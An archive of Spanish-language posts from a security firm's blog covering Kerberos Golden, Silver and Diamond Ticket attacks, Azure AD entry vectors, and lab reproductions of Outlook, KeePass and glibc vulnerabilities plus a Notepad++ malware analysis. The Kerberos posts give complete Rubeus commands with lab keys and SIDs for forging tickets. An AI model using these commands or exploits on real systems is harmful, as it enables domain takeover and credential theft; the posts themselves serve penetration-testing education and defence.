10 jun 2024

Tickets Kerberos - Diamond Ticket

 

Finalizando la entrega de Tickets Kerberos, damos paso a el Diamond Ticket.

Al igual que un Golden Ticket, un Diamond Ticket es un TGT que puede utilizarse para acceder a cualquier servicio como cualquier usuario.

Un Golden Ticket se crea de manera completamente offline, se cifra con el hash KRBTGT del dominio en cuestión y luego se pasa a una sesión de usuario para su uso. Debido a que los controladores de dominio no rastrean los TGT que han emitido legítimamente, aceptarán sin problemas cualquier TGT que esté cifrado con su propio hash de la cuenta KRBTGT.

Existen dos maneras habituales para detectar el uso de Golden Tickets:

  • Realizar una búsqueda de peticiones TGS-REQ que no tengan una petición AS-REQ correspondiente
  • Realizar una búsqueda de TGT que tengan valores no habituales, como una vida útil de 10 años, que establece Mimikatz por defecto


Un Diamond Ticket se genera de manera diferente, esto es, modificando los campos de un TGT legítimo emitido previamente por un DC. Esto se logra solicitando primero un TGT, descifrándolo con el hash de la cuenta KRBTGT del dominio, modificando los campos deseados del ticket y luego volviéndolo a cifrar. De este modo se evitan las dos detecciones anteriormente mencionadas para un Golden Ticket, ya que:

  • Los TGS-REQ tendrán un AS-REQ asociado
  • El TGT fue emitido por un DC, lo que significa que tendrá todos los detalles correctos de la política Kerberos del dominio. Aunque es cierto que estos detalles pueden falsificarse con precisión durante la creación de un Golden Ticket, es más complejo y está abierto a errores

Impacto:

Un Diamond Ticket, al igual que un Golden Ticket, permite acceso ilimitado y persistente a cualquier recurso dentro del dominio hasta que la clave krbtgt se cambie, lo cual puede ser un proceso complejo y disruptivo.

Explotación

Al igual que en el Golden Ticket, se parte del compromiso total del dominio

Creación del ticket

Para crear el Diamond Ticket, también vamos a hacer uso de la herramienta Rubeus, ejecutando el siguiente comando:

Rubeus.exe diamond /domain:north.sevenkingdoms.local /user:eddard.stark /password:FightP3aceAndHonor! /tickeruser:eddar.stark /ticketuserid:1111 /groups:512 /krbkey:42a38fe97bcf9c48190e5d77e48faa7d95b7fed838c8910845a86d66d78f188a /nowrap


  • Domain: Nombre del dominio 
  • User: Usuario con el que se pedirá el TGT a modificar
  • Password: Contraseña del usuario con el que se pedirá el TGT a modificar
  • Ticketuser: Usuario a impersonar
  • Ticketusersid: SID del usuario a impersonar
  • Groups: Grupos que queremos que se añadan en el ticket (512 -> Domain Admins)
  • Krbkey: Clave AES256 de la cuenta KRBTGT

Importar el ticket


Una vez obtenido el ticket, podemos comprobar que no tenemos acceso mediante SMB al Controlador de Dominio.

ls \\winterfell\c$


Para ganar acceso, primero importamos el ticket en nuestra sesión. Podemos hacer uso de Rubeus de nuevo para lograrlo:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username:eddard.stark /password:PassFake /ticket: doIFvT[…]LkxPQ0FM



  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario
  • Ticket: El ticket creado anteriormente

Una vez importado el ticket, podemos acceder al DC como podemos ver en la imagen.
ls \\winterfell\c$



Contramedidas:

  • Rotación de Contraseñas: Regularmente cambiar las contraseñas de las cuentas de servicio. De manera especial, asegurar que la cuenta KRBTGT esté protegida y que su contraseña sea cambiada periódicamente, aunque con cuidado debido al impacto significativo que se podría producir en el entorno.
  • Seguridad de las Cuentas de Servicio: Asegurar que las cuentas de servicio utilicen contraseñas fuertes y únicas.
  • Segmentación y Limitación de Privilegios: Aplicar el principio de privilegios mínimos y segmentar la red para limitar el alcance de cualquier posible compromiso, asegurando que el acceso a recursos críticos esté restringido y monitoreado.
  • Auditoría y Monitoreo: Configurar auditorías y monitoreo exhaustivo de la actividad de autenticación y uso de tickets Kerberos. Monitoreo y Detección Proactiva: Implementar soluciones de monitoreo y detección avanzadas que puedan identificar patrones anómalos y actividades sospechosas, incluyendo el análisis de tráfico de red, actividad de autenticación y uso de tickets Kerberos anómalos.
  • Auditorías y Revisiones Regulares: Realizar auditorías de seguridad regulares y revisiones de permisos para identificar y corregir cualquier configuración indebida o vulnerabilidad potencial.

Regresando un poco a la feria donde solemos usar muchos tickets os dejamos a modo resumen la siguiente tabla:

CaracterísticaSilver TicketGolden TicketDiamond Ticket
ObjetivoServicio específicoAcceso a todo el dominioAcceso a todo el dominio
Credenciales necesariasCuenta de servicio específicoAdministrador de dominio o KRBTGT.Administrador de dominio o KRBTGT.
ImpactoAcceso limitado a un servicioAcceso ilimitado en el dominioAcceso ilimitado en el dominio
Complejidad del AtaqueModeradaAltaMuy alta
Contramedidas ClaveRotación de contraseñas, monitoreoProtección de KRBTGT, monitoreo exhaustivoProtección de KRBTGT, monitoreo exhaustivo


Con esto concluimos el paseo por las diferentes atracciones. Nos vemos en la siguiente feria perdón, entrega.

Álvaro Temes, analista de ciberseguridad en Zerolynx.

3 jun 2024

Tickets Kerberos - Silver Ticket


Continuando con las entregas de Tickets de Kerberos, en publicaciones pasadas hemos hablado sobre el Golden Ticket, en esta ocasión estaremos hablando del Silver Ticket.

SILVER TICKET

El ataque Silver Ticket implica la creación de un Ticket Granting Service (TGS), que permite a los atacantes obtener acceso a un servicio específico en un entorno de Active Directory sin la necesidad de autenticarse a través del controlador de dominio (Key Distribution Center, KDC).

Este método se basa en adquirir el hash NTLM o contraseña de una cuenta de servicio, para falsificar un Ticket Granting Service (TGS). Estas credenciales se pueden obtener de distintas maneras durante el ataque al Dominio, como por ejemplo por medio de herramientas como Responder o mediante técnicas de Kerberoasting. Tras la creación de este ticket falsificado, un atacante puede acceder al servicio específico, haciéndose pasar por cualquier usuario y, por lo general, con el objetivo de obtener privilegios administrativos.

Si en lugar de obtener las credenciales en texto claro o hash NTLM, se pudieran obtener las claves AES (por ejemplo, mediante un volcado de memoria), se recomienda el uso de estas claves AES para la creación de los tickets, ya que es una manera más segura y menos detectable.

Explotación:

En primer lugar, vamos a asumir que hemos obtenido una sesión como SYSTEM en una máquina del dominio. Esto por ejemplo ha podido suceder tras comprometer un servidor IIS y una posterior escalada de privilegios haciendo uso de un Potato exploit.

Tras obtener el control del servidor, podemos obtener las claves de Kerberos con mimikatz y el comando sekurlsa::ekeys



Creación del ticket

Una vez obtenidas las claves de Kerberos, podemos crear un ticket para el servicio CIFS del propio servidor, el cual nos garantizará acceso al mismo como el usuario del dominio que queramos. En este caso crearemos el ticket con el comando:

Rubeus.exe silver /service:cifs/castelblack.nort.sevenkingdoms.local /aes256: 0ad6c98bbba174b0b2f8d9a05279fe6892cef5f0e1bab59e01b5510e9920774d /user: eddard.stark /domain:north.sevenkingdoms.local /sid: S-1-5-21-1430251130-2586379517-4083755373 /nowrap



  • Service: Nombre del servicio al que se solicitará el ticket
  • Aes256: Clave aes256 de la cuenta de máquina extraída anteriormente
  • User: Usuario a impersonalizar, en este caso un Domain Admin
  • Domain: Nombre del dominio
  • Sid: SID del dominio

Importar el ticket

Una vez obtenido el ticket, podemos comprobar que no tenemos acceso de administración al servidor desde nuestra consola de usuario no privilegiado.

ls \\castelblack.north.sevenkingdoms.local\C$



El siguiente paso será importar el ticket generado anteriormente en un nuevo proceso. Esto se puede conseguir con el comando:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username: eddard.stark /password:PassFake /ticket: doIGGDCC[…]b2NhbA==


  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario.
  • Ticket: El ticket creado anteriormente
Tras la creación del proceso con nuestro Silver Ticket, ya podremos acceder al servidor en cuestión mediante el servicio CIFS desde nuestra sesión de usuario no privilegiado.
ls \\castelblack.north.sevenkingdoms.local\c$


Limitaciones:

Un Silver Ticket es válido solo para el servicio específico para el cual fue creado. No permite acceso a otros servicios o recursos.

Y con esto finalizamos el post, en ese sentido ahora sabemos sobre el Silver Ticket y el Golden Ticket, queda pendiente una entrega más sobre estos tickets de kerberos. Hasta el próximo ticket.

Álvaro Temes, analísta de ciberseguridad en Zerolynx.

27 may 2024

Tickets Kerberos - Golden Ticket


Hoy vamos a hablar sobre una de las diferentes técnicas que solemos llevar a cabo sobre pentest interno

Una vez que un atacante logra comprometer un dominio tras alcanzar privilegios altos, como por ejemplo Domain Admin o Enterprise Admin, es muy difícil para una organización recuperar el control total del bosque y considerarlo 100% limpio.

Los atacantes con este acceso pueden hacer uso de sus altos privilegios para extraer credenciales especiales del dominio y utilizarlas para ganar persistencia, pudiendo volver a obtener accesos como cualquier usuario en cualquier momento. Estas credenciales se modifican raramente o incluso no se modifican nunca, lo que otorga a los atacantes un acceso prácticamente ilimitado.

A lo largo de diferentes publicaciones, vamos a ver algunas de estas técnicas de persistencia, las cuales se basan en el uso de tickets de Kerberos.

GOLDEN TICKET

Un ataque Golden Ticket consiste en la creación de un Ticket Granting Ticket (TGT) legítimo que se hace pasar por cualquier usuario mediante el uso del hash NTLM de la cuenta KRBTGT de Active Directory. Esta técnica es particularmente poderosa, ya que permite el acceso a cualquier servicio o máquina dentro del dominio como el usuario suplantado. Es fundamental recordar que las credenciales de la cuenta KRBTGT nunca se actualizan automáticamente.

Para adquirir el hash NTLM de la cuenta KRBTGT, se pueden emplear varios métodos:

  • Se puede extraer de la memoria, realizando un volcado del proceso LSASS (Local Security Authority Subsystem Service) de un Controlador de Dominio.
  • También se puede extraer del archivo de servicios de directorio NT (NTDS.dit) ubicado en cualquier Controlador de Dominio.
  • O bien se puede obtener tras ejecutar un ataque DCsync, que se puede realizar utilizando herramientas como Mimikatz o el script secretsdump.py de Impacket.

Es importante mencionar que, para realizar estas operaciones, normalmente se requieren privilegios de Domain Admin o un nivel similar de acceso (auth/system). Por esta razón, los Golden Tickets son utilizados para realizar movimientos laterales por el resto del dominio, así como establecer persistencia y no para la escalada de privilegios.

Al igual que en el caso de Silver Ticket, aunque el hash NTLM sirve como un método viable para este propósito, se recomienda la ejecución de este ataque utilizando las claves AES (Advanced Encryption Standard) de Kerberos por razones de seguridad operativa y ser menos detectable.

Impacto

Un Golden Ticket permite acceso ilimitado y persistente a cualquier recurso dentro del dominio hasta que la clave KRBTGT se cambie, lo cual puede ser un proceso complejo y disruptivo.

Explotación

Para este escenario, partimos de la base de un dominio comprometido, donde tenemos credenciales de Domain Admin y hemos logrado realizar la técnica de DCSync, obteniendo así las claves de Kerberos de la cuenta KRBTGT.

Creación del ticket

Para crear el Golden Ticket, podemos hacer uso de la herramienta Rubeus y ejecutar el siguiente comando:

Rubeus.exe golden /aes256: 42a38fe97bcf9c48190e5d77e48faa7d95b7fed838c8910845a86d66d78f188a /user:Eddard.stark /domain:north.sevenkingdoms.local /sid:S-1-5-21-1430251130-2586379517-4083755373 /nowrap


  • Aes256: Clave aes256 de la cuenta KRBTGT extraída anteriormente
  • User: Usuario a impersonalizar, en este caso un Domain Admin
  • Domain: Nombre del dominio
  • Sid: SID del dominio

Importar el ticket

Una vez obtenido el ticket, podemos comprobar que no tenemos acceso mediante SMB al Controlador de Dominio.

ls \\winterfell\c$



Para ganar acceso, primero importamos el ticket en nuestra sesión. Podemos hacer uso de Rubeus de nuevo para lograrlo:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username:Eddard.stark /password:PassFake /ticket: doIGDDCCBgigAwI[…]tcy5sb2NhbA==



  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario
  • Ticket: El ticket creado anteriormente

Una vez importado el ticket, podemos acceder al DC.

ls \\winterfell\c$



Os dejamos ciertos aspectos a tener en cuenta cuando pensamos en la posibilidad de un Golden Ticket.



Credenciales Necesarias

CaracterísticaGolden Ticket
ObjetivoAcceso a todo el dominio
Credenciales NecesariasAdministrador de dominio o KRBTGT
ImpactoAcceso ilimitado en el dominio
Complejidad del ataqueAlta
Contramedidas ClaveProtección de KRBTGT, monitoreo exhaustivo


Y hasta aquí de tickets y no precisamente de feria, nos vemos en la próxima entrega.

Álvaro Temes, Analista de ciberseguridad en Zerolynx.

20 may 2024

Mantén tu Directorio Activo de Azure Protegido



Siempre que hablamos de ciberseguridad pensamos en los servidores que tenemos alojados en nuestra empresa y nos preocupamos sobre su exposición al exterior y el impacto que podría tener el compromiso de cualquier recurso de nuestra red. Sin embargo, son ya muchas las empresas que utilizan servicios en la nube o sistemas híbridos para desplegar su infraestructura.

Hoy venimos a hablar de Azure, y cuales son algunos de los puntos de entrada que explotan algunos atacantes para comprometer una organización y también daremos algunas recomendaciones básicas de seguridad.

Vectores de Entrada hacia Azure AD


Aplicaciones Vulnerables + Managed Identities: 

En muchas ocasiones se utiliza Azure para exponer aplicaciones antiguas y añadirles una capa de seguridad, sin embargo, una aplicación con vulnerabilidades no deja de tenerlas por el mero hecho de subirla a la nube. En este caso, cuando se despliega una aplicación en Azure, se le asocia una Managed Identity, es decir, una cuenta de Azure que será utilizada por la aplicación y a la que se le asignarán permisos necesarios para acceder a diferentes recursos como bases de datos o Key Vaults dentro de la organización.

En el caso de que un atacante logre explotar una vulnerabilidad de tipo RCE o SSRF en la aplicación, podría ser capaz de obtener el Access token de la Managed Identity, pudiendo así llegar a impersonar a esta cuenta y utilizarla para acceder a la organización y a sus recursos, siendo además que este tipo de cuentas al no estar pensadas para ser utilizadas por una persona, no cuentan con MFA.



Para intentar reducir las posibilidades de que este vector de entrada sea utilizado, se recomienda lo siguiente:
  • Analizar y mitigar vulnerabilidades en las aplicaciones expuestas.
  • Limitar al máximo los permisos de las Managed Identities.
  • Monitorizar las acciones de las Managed Identities para detectar cualquier acción que difiera de su uso esperado.

Azure Blobs Expuestos: 

Los blobs de Azure son un servicio de almacenamiento de objetos para la plataforma Azure. Es común que los usuarios no restrinjan correctamente los permisos de los blobs que crean, de manera que estos pueden llegar a ser enumerados mediante herramientas como MicroBurst. Por otro lado, también es posible compartir el acceso a estos blobs mediante enlaces. Cuando se comparten recursos con enlaces puede realizarse mediante Share Keys o Shared Access Signature, siendo que ambas opciones pueden permitir que la duración del enlace sea muy elevada o que incluso no caduque nunca, dando así acceso a cualquier atacante que consiga el enlace generado.


A continuación, se exponen algunas recomendaciones para proteger los blobs de la organización:
  • Concienciar a los empleados para que no almacenen información sensible en estos recursos y que administren correctamente los permisos.
  • Revisar con frecuencia los blobs públicos para asegurarse que ninguno esté público.
  • Limitar tiempo de duración de enlaces a blobs.

Ausencia de MFA + Leaks: 

Cuando hablamos de directorio activo on-premise, suele haber una capa de seguridad antes de poder acceder a la organización ya sea acceso físico a la red o mediante VPN. Es por ello por lo que, aunque se produzcan leaks de credenciales, los atacantes deben de conseguir también acceso a la organización. Sin embargo, los servicios de Azure están expuestos en internet, por lo que si un atacante logra comprometer una cuenta de Active Directory, podría ser capaz de acceder al dominio de Azure y enumerarlo por completo pese a no tener acceso a la red interna.

Para reducir las posibilidades de ser atacados mediante este vector se recomienda:
  • Investigar de manera continua información expuesta de la organización con el fin de detectar credenciales comprometidas para poder cambiarlas.
  • Establecer MFA obligatorio para todas las cuentas.
  • Implementar controles en el Conditional Access Policy para restringir el acceso al dominio de Azure solo desde ubicaciones permitidas.

Phishing: 

Los ataques de phishing son una táctica común utilizada por los atacantes para engañar a los usuarios y obtener sus credenciales. Además, se pueden utilizar técnicas como Ilicit Consent Grant Attack, para que en lugar de obtener las credenciales de la víctima, el atacante intente obtener un Access Token del usuario, el cual podría ser utilizado para acceder a recursos del dominio. Los ataques de phishing que utilizan este tipo de técnicas son extremadamente peligrosos, puesto que se utilizan sistemas legítimos de Microsoft para que la víctima delegue sus permisos sobre una aplicación controlada por el atacante y así obtener el Access Token anteriormente mencionado.

Para reducir el impacto se recomienda:
  • Concienciar a los empleados ante estas y otras técnicas de phishing para que aprendan a reconocerlas y a evitarlas.
  • Limitar lo máximo posible los permisos de los usuarios en el dominio de Azure.

Persistencia mediante invitación de usuarios:

Cuando un atacante consigue acceso a un activo, siempre intenta conseguir persistencia en el objetivo, de esta manera podrá continuar enumerando tras el compromiso inicial. Existen diversas técnicas para establecer persistencia, pero la más sencilla es utilizar la función de invitar usuarios de Azure, ya que por defecto una cuenta de Azure puede invitar usuarios externos. Estos usuarios no tendrán permisos elevados, pero podrían enumerar información del dominio.

Como mitigación se recomienda deshabilitar esta función para que los usuarios no puedan dar acceso de invitado al tenant.


¡Hasta la próxima linces, nos vemos en la nube!

Ignacio Sánchez, Analista de Ciberseguridad en Zerolynx. 

13 may 2024

Moniker Link (CVE-2024-21413)



El 13 de febrero de 2024, Microsoft notificó sobre una vulnerabilidad en su aplicación Outlook. A esta vulnerabilidad se la identifico con el CVE-2024-21413, cuya criticidad se catalogó con un 9.8 (crítica). Las versiones afectadas son:

EdiciónVersión
Microsoft Office LTSC 2021Afectado desde la versión 19.0.0
Microsoft 365 Apps for EnterpriseAfectado desde la versión 16.0.1
Microsoft Office 2019Afectado desde la versión 16.0.1

Esta vulnerabilidad es posible evitando la opción vista protegida (Protected View) de Outlook, una característica que nos limita el acceso de lectura, evitando así que se ejecuten scripts maliciosos como macros en el sistema.

La vulnerabilidad evita los mecanismos de seguridad de Outlook usando un tipo específico de hyperlink llamado Moniker Link, lo que da el nombre a la vulnerabilidad. El atacante puede explotar esta vulnerabilidad enviando un email que contenga el Moniker Link a una víctima. Cuando la víctima hace click en el enlace, envía las credenciales NetNTLMv2 al atacante.  

Dentro de un entorno controlado fue posible replicar la vulnerabilidad paso a paso. El primer paso para comprender la vulnerabilidad es saber que mediante el uso del Moniker Link: file:// en Outlook se puede hacer que la víctima intente acceder a un archivo en una red compartida. Para ello se usa el protocolo SMB el cual necesita las credenciales del usuario, por lo que la Protected View de Outlook bloquea el link. Sin embargo, mediante el uso de carácter “!” se puede evitar esta medida de seguridad de Outlook. El código resultante para poder explotar la vulnerabilidad sería:


Una vez comprendido esto, lo siguiente a realizar es levantar un SMB listener en la máquina del atacante.


Aunado a esto, creamos un archivo, donde vamos a introducir el código del exploit, el cual se puede encontrar fácilmente en github (https://github.com/CMNatic/CVE-2024-21413).


Modificaciones por realizar:
  • Modificar el Moniker link en la línea 12 para reflejar la IP de la máquina del atacante
  • Cambiar el MAILSERVER de la línea 31 por la IP de la máquina

Una vez se han realizado todos los cambios, se guarda el script y se ejecuta. Cuando el usuario inconsciente hace clic en el hipervínculo, intenta conectarse a un recurso compartido de red inexistente. Como tal, podemos capturar el hash NetNTLMv2 debido que al hacer click se intenta una conexión.



Con esto ya se habría completado la explotación de la vulnerabilidad de Moniker Link exitosamente. 
Para evitar este tipo de ataques, se recomienda:
  • No hacer click en emails cuyo origen no conocemos
  • Previsualizar los emails antes de hacer click en enlaces sospechosos
¡Y hasta aquí el post por hoy, gracias por el tiempo y hasta la próxima!

Jorge Ezequiel de Francisco, Analista de Ciberseguridad en Zerolynx.

6 may 2024

CVE-2023-32784 - KeePass


En el post de hoy venimos a hablar sobre KeePass, un conocido gestor de contraseñas. KeePass Password Safe es un gestor de contraseñas gratuito y de código abierto que sirve para administrar tus contraseñas de manera segura, permitiendo así tener una contraseña para cada servicio sin morir en el intento. El funcionamiento de KeePass se basa en tener una contraseña maestra, la cual debe ser muy robusta y será necesario recordarla, de manera que esta clave nos dará acceso a nuestra base de datos de contraseñas, teniendo en cuenta que podremos generarlas de manera aleatoria y no tendremos necesidad de recordarlas.

Pese a que siempre recomendamos el uso de esta herramienta u otras similares para proteger nuestras contraseñas, a mediados de 2023 surgió la vulnerabilidad CVE-2023-32784, la cual podría causar el compromiso de la contraseña maestra si se cumplen las siguientes condiciones:

  • El atacante accede a un equipo con un proceso de KeePass ejecutándose (no es necesario que la sesión de KeePass esté desbloqueada).
  • El usuario víctima ha introducido la contraseña maestra manualmente (no copiando y pegando).

Esta vulnerabilidad se debe al uso del cuadro de texto “SecureTextBoxEx” durante el acceso con la contraseña maestra, ya que esta funcionalidad también sirve para recuperar contenido de contraseñas en otras secciones de KeePass.

Para demostrar el funcionamiento de esta vulnerabilidad, se verificarán dos exploits públicos, los cuales permiten el descifrado de la contraseña maestra a excepción del primer carácter. El hecho de que el primer carácter no se almacene, se debe a cómo funciona a nivel de .net la funcionalidad de “SecureTextBoxEx”, ya que enmascara el carácter anterior y muestra el actual, por ejemplo, para la palabra password:

-a, --s, ---s, ----w, -----o, ------r, -------d.

Para este ejercicio, lo primero que haremos será crear una base de datos de pruebas, y le asignaremos la contraseña: sup3r$3cr3tP4ssw0rd!


Tras tener creada nuestra nueva base de datos y haber bloqueado la sesión para “protegerla” es necesario realizar un volcado de la memoria del proceso de KeePass. Es posible realizar volcados de memoria mediante diferentes técnicas, pero para esta prueba de concepto, es suficiente con poder utilizar el administrador de tareas sin ningún tipo de privilegio administrativo.


Una vez que tenemos el volcado de memoria del proceso de KeePass, procederemos a hacer uso de los siguientes exploits:


Como podemos apreciar, ambos exploits nos permiten descifrar la contraseña maestra sin ningún tipo de dificultad, siendo que solo será necesario adivinar el primer carácter de la contraseña.
Esto no significa para nada que debamos desconfiar de los gestores de contraseñas, simplemente como cualquier otra aplicación, son susceptibles de contener vulnerabilidades, por lo que es necesario mantenerlos siempre actualizados para contar con los últimos parches de seguridad. A continuación, ofrecemos una serie de recomendaciones a seguir en caso de haber podido ser afectado por esta vulnerabilidad:
  • Actualizar a KeePass 2.54 o superior.
  • Cambiar tu contraseña maestra de KeePass por si esta se hubiese visto comprometida.
  • Eliminar ficheros que puedan contener contraseñas de KeePass en memoria como los crash dumps (usualmente ubicados en C:\Windows\memory.dmp para windows), el archivo de hibernación (hiberfil.sys) y el archivo de paginación/intercambio (pagefile.sys).


Ignacio Sánchez, Analista de Ciberseguridad en Zerolynx.

29 abr 2024

CVE-2023-4911 Looney Tunables


En el año 2023, el equipo de Qualys reportó una vulnerabilidad con una alta criticidad que afectaba a una gran cantidad de versiones de Linux. Esta consistía en una escalada de privilegios locales al aprovechar el desbordamiento del búfer en el cargador dinámico de la biblioteca GNU C (glibc). 

El cargador dinámico al procesar la variable de entorno GLIBC_TUNABLES produce este desbordamiento, y un agente malicioso podría utilizar esta variable para iniciar archivos binarios con permisos de SUID, lo que le permitiría ejecutar código con privilegios elevados. 

Para replicar esta vulnerabilidad se implementó un entorno de pruebas. En primer lugar, hay que acceder a la maquina vulnerable: 

Zerolynx: conexión por SSH a la máquina vulnerable


Para realizar la explotación se tiene que entender el POC que se proporciona. 

El cargador dinámico utiliza las variables de entorno gclib_tunables, que permiten a los desarrolladores alterar dinámicamente el comportamiento de la biblioteca en tiempo de ejecución. 

En este caso, el código busca cualquier variable gclib_tunables en las variables de entorno y las copia a una nueva variable. La vulnerabilidad surge cuando la variable contiene entradas inesperadas, ya que no son manejadas con seguridad y provocando un desbordamiento del búfer. 

Como requisito de explotación se debe contar con: 

  • Ejecución de código con privilegios limitados en un sistema vulnerable. 

PoC


Tras comprobar que es vulnerable a Looney Tunables, con la ayuda del archivo gen_libc.py, el cual en este caso se encuentra ya dentro de la máquina, la ejecutamos para generar el exploit. 

Zerolynx: Uso del archivo Gen_Libc.py


El siguiente paso es compilar el exploit utilizando GCC. El archivo que hay que compilar es el exp.c  

Zerolynx: malware ejecutable generado

Tras la ejecución de ambos comandos se habrán generado dos archivos, las POC necesarios para la explotación de la vulnerabilidad: 
  • Un ejecutable: “exp” 
  • El exploit: “lib.so.6” 

Zerolynx:. ejecución de malware

Tras la ejecución del archivo que contenía el exploit, después de un breve periodo de tiempo se puede observar como la explotación se ha completado y se ha conseguido realizar la escalada de privilegios exitosamente. 

Conclusión 

Esta vulnerabilidad en la biblioteca GNU C (glibc) subraya la importancia de una gestión segura de las variables de entorno en sistemas Linux. Para mitigar concretamente esta vulnerabilidad se debe actualizar el paquete glibc a las nuevas versiones disponibles en conjunto se debe comprobar que los cambios se han aplicado de forma satisfactoria.

Javier Muñoz, Analista de Ciberseguridad en Zerolynx
Jorge Ezequiel de Francisco, Analista de Ciberseguridad en Zerolynx.

22 abr 2024

Campaña de Malware a Notepad++




Recientemente el grupo de investigadores de AhnLab Security Intelligence Center (ASEC) han descubierto una nueva campaña de malware (WikiLoader) que afecta al popular editor de texto Notepad++. Los atacantes se esforzaron por disfrazar el archivo con la carga maliciosa, de manera que se pareciese a uno propio del paquete de instalación de la aplicación.

La técnica utilizada es la ya conocida “secuestro de DLL o DLL hijacking” y concretamente afecta al complemento predeterminado “mimeTools.dll” (se utiliza para realizar codificación en Base64 y otras tareas). Este módulo se carga automáticamente cuando se inicia el programa, por lo que, los atacantes aprovecharon este hecho para modificarlo y que activara el malware.


Flujo del ataque

Primeramente, los atacantes añadieron al paquete de instalación un código shell malicioso disfrazado como un certificado inofensivo, “Certificate.pem”. Estos modificaron una de las funciones de mimeTools.dll llamada “DllEntryPoint.dll”, permitiendo así cargar el archivo disfrazado, descifrarlo y ejecutarlo. En la siguiente imagen se puede ver la comparación de archivos entre los paquetes de instalación oficiales y maliciosos:



El código shell malicioso modifica el archivo “BingMaps.dll”, más concretamente el código de la función “GetBingMapsFactory()” es sobrescrito por este. En este punto se crea un flujo de ejecución que permite al atacante inyectar un hilo de ejecución en la aplicación “explorer.exe”, esto garantiza la persistencia del ataque y hace que sea más difícil de detectar.

El malware al ejecutarse se conecta a un Command and Control (C2) donde envía datos recopilados de la máquina (Nombre de la máquina, nombre de usuario, si el usuario es miembro del grupo de administradores, idioma y hora del sistema). Después de conectarse al C2 (se hace pasar por una página de inicio de sesión de Wordpress), se realiza una descarga de un payload que resulta estar vacío.


Conclusión

El grupo de atacantes tienen el objetivo de establecer un punto de acceso en la máquina víctima, y lo hacen aprovechándose de una herramienta tan utilizada por los usuarios como Notepad++. WikiLoader plantea un riesgo importante de privacidad, ya que recopila información sobre el sistema infectado y desde Zerolynx recomendamos seguir unas pautas que mantengan vuestros sistemas a salvo:

Descargar las aplicaciones siempre desde fuentes oficiales y confiables.

Actualizar regularmente las aplicaciones y sistemas con su última versión que contengan parches.

*Todas las fotos están obtenidas de la página oficial de ASEC, accede al siguiente enlace si quieres saber más profundamente acerca de esta vulnerabilidad.

Javier Muñoz, Analista de Ciberseguridad en Zerolynx